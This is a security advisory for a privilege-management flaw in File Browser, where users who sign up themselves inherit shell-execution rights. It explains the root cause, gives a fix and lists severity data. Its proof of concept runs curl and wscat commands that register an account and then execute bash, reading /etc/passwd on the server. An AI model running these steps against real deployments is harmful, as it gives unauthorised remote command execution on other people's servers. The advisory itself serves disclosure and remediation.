Skip to content

GHSA-x8jc-jvqm-pm3f CVE-2026-34528 GO-2026-5747

File Browser's Signup Grants Execution Permissions When Default Permissions Includes Execution

Critical Go
Severity
8.1 / 10
Critical · CVSS 3.1
Exploit chance (EPSS)
0.68%
Chance of exploitation in the next 30 days. Higher than 52.41% of scored vulnerabilities.
Known exploited
No
Not in CISA's catalog
Weakness
CWE-269 Improper Privilege Management
Fix
2.62.2
Upgrade github.com/filebrowser/filebrowser/v2 to this version or later

Description

Summary

The signupHandler in File Browser applies default user permissions via d.settings.Defaults.Apply(user), then strips only Admin (commit a63573b). The Execute permission and Commands list from the default user template are not stripped. When an administrator has enabled signup, server-side execution, and set Execute=true in the default user template, any unauthenticated user who self-registers inherits shell execution capabilities and can run arbitrary commands on the server.

Details

Root Cause

signupHandler at http/auth.go:167–172 applies all default permissions before stripping only Admin:

// http/auth.go
d.settings.Defaults.Apply(user)   // copies ALL permissions from defaults

// Only Admin is stripped — Execute, Commands are still inherited
user.Perm.Admin = false
// user.Perm.Execute remains true if set in defaults
// user.Commands remains populated if set in defaults

settings/defaults.go:31–33 confirms Apply copies the full permissions struct including Execute and Commands:

func (d *UserDefaults) Apply(u *users.User) {
    u.Perm = d.Perm          // includes Execute
    u.Commands = d.Commands  // includes allowed shell commands
    // ...
}

The commandsHandler at http/commands.go:63–66 checks both the server-wide EnableExec flag and d.user.Perm.Execute:

if !d.server.EnableExec || !d.user.Perm.Execute {
    // writes "Command not allowed." and returns
}

The withUser middleware reads d.user from the database at request time (http/auth.go:103), so the persisted Execute=true and Commands values from signup are authoritative. The command allowlist check at commands.go:80 passes because the user's Commands list contains the inherited default commands:

if !slices.Contains(d.user.Commands, name) {
    // writes "Command not allowed." and returns
}

Execution Flow

  1. Admin configures: Signup=true, EnableExec=true, Defaults.Perm.Execute=true, Defaults.Commands=["bash"]
  2. Unauthenticated attacker POSTs to /api/signup → new user created with Execute=true, Commands=["bash"]
  3. Attacker logs in → receives JWT with valid user ID
  4. Attacker opens WebSocket to /api/command/ → withUser fetches user from DB, Execute=true passes check
  5. Attacker sends bash over WebSocket → exec.Command("bash") is invoked → arbitrary shell execution

This is a direct consequence of the incomplete fix in commit a63573b (CVE-2026-32760 / GHSA-5gg9-5g7w-hm73), which applied the same rationale ("signup users should not inherit privileged defaults") only to Admin, not to Execute and Commands.

PoC

TARGET="http://localhost:8080"

# Step 1: Self-register (no authentication required)
curl -s -X POST "$TARGET/api/signup" \
  -H "Content-Type: application/json" \
  -d '{"username":"attacker","password":"AttackerP@ss1!"}'
# Returns: 200 OK

# Step 2: Log in and capture token
TOKEN=$(curl -s -X POST "$TARGET/api/login" \
  -H "Content-Type: application/json" \
  -d '{"username":"attacker","password":"AttackerP@ss1!"}' | tr -d '"')

# Step 3: Inspect inherited permissions (decode JWT payload)
echo "$TOKEN" | cut -d'.' -f2 | base64 -d 2>/dev/null | python3 -m json.tool
# Expected output (if defaults have Execute=true, Commands=["bash"]):
# {
#   "user": {
#     "perm": { "execute": true, ... },
#     "commands": ["bash"],
#     ...
#   }
# }

# Step 4: Execute shell command via WebSocket (requires wscat: npm install -g wscat)
echo '{"command":"bash -c \"id && hostname && cat /etc/passwd | head -3\""}' | \
  wscat --header "X-Auth: $TOKEN" \
        --connect "$TARGET/api/command/" \
        --wait 3
# Expected: uid=... hostname output followed by /etc/passwd lines

Impact

On any deployment where an administrator has:

  1. Enabled public self-registration (signup = true)
  2. Enabled server-side command execution (enableExec = true)
  3. Set Execute = true in the default user template
  4. Populated Commands with one or more shell commands

An unauthenticated attacker can self-register and immediately gain the ability to run arbitrary shell commands on the server with the privileges of the File Browser process. All files accessible to the process, environment variables (including secrets), and network interfaces are exposed. This is a complete server compromise for processes running as root, and a significant lateral movement vector otherwise.

The original Admin fix (GHSA-5gg9-5g7w-hm73) demonstrates that the project explicitly recognizes that self-registered users should not inherit privileged defaults. The Execute + Commands omission is an incomplete application of that principle.

Recommended Fix

Extend the existing Admin stripping in http/auth.go to also clear Execute and Commands for self-registered users:

// http/auth.go — after d.settings.Defaults.Apply(user)

// Users signed up via the signup handler should never become admins, even
// if that is the default permission.
user.Perm.Admin = false

// Self-registered users should not inherit execution capabilities from
// default settings, regardless of what the administrator has configured
// as the default. Execution rights must be explicitly granted by an admin.
user.Perm.Execute = false
user.Commands = []string{}

Affected versions

Go

PackageVulnerableFixed in
github.com/filebrowser/filebrowser
all versions
No fix yet
github.com/filebrowser/filebrowser/v2
< 2.62.2
2.62.2

How to fix

Move to the fixed version or later with your package manager, update the lockfile, and run your tests. If the package only arrives through another dependency, upgrade that dependency first. If none of its releases pulls a fixed version yet, force the version with your package manager's override.

github.com/filebrowser/filebrowser/v2 Go → 2.62.2

go
go get github.com/filebrowser/filebrowser/v2@v2.62.2 && go mod tidy

Severity breakdown

CVSS 3.1 8.1

CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H

Attack vector
Network
Attack complexity
High
Privileges required
None
User interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
High
Availability
High

Weakness

CWE-269: Improper Privilege Management

The product does not properly assign, modify, track, or check privileges for an actor, creating an unintended sphere of control for that actor.

How to prevent it
  • Architecture and Design, Operation: Very carefully manage the setting, management, and handling of privileges. Explicitly manage trust zones in the software.
  • Architecture and Design: Follow the principle of least privilege when assigning access rights to entities in a software system.
  • Architecture and Design: Consider following the principle of separation of privilege. Require multiple conditions to be met before permitting access to a system resource.

References

Timeline

  1. Published
  2. Last updated by the source
  3. Latest EPSS score
AdvisorySeverityWhy it's related
GHSA-833g-cqhp-h72j
File Browser: Share API exposes the password hash and bypass token
Low Also affects github.com/filebrowser/filebrowser
GHSA-83xp-526h-j3ww
File Browser: Archive builder turns backslash filenames into path traversal (zip-slip)
Medium Also affects github.com/filebrowser/filebrowser
GHSA-7rc3-g7h6-22m7
File Browser: Colliding username normalization gives two users the same home directory
High Also affects github.com/filebrowser/filebrowser
GHSA-8wc8-hf36-mjh9
File Browser: ScopedFs follows a dangling symlink on write, letting a scoped user create files outside their scope
Medium Also affects github.com/filebrowser/filebrowser
GHSA-fmm7-x4gx-8jhr
File Browser: Out-of-scope file deletion by a Create-only scoped user via symlink-following RemoveAll in upload failure-cleanup
High Also affects github.com/filebrowser/filebrowser
GHSA-xqp3-jq6g-x3qm
File Browser: Authentication Bypass via Proxy Auth Header Forgery
Critical Also affects github.com/filebrowser/filebrowser
GHSA-m93h-4hw7-5qcm
File Browser: Command Injection via Authentication Hook Shell Substitution (Pre-Authentication RCE)
Critical Also affects github.com/filebrowser/filebrowser
GHSA-8c9q-7855-wfxq
File Browser has a Command Execution Allowlist Bypass via Shell Metacharacter Injection
High Also affects github.com/filebrowser/filebrowser
Is this in your code?

MergeHarbor checks every repository's dependencies against this database, ranks what matters by exploitability and reachability, routes it to the owning team and opens the fix pull request.

Check your repos with MergeHarbor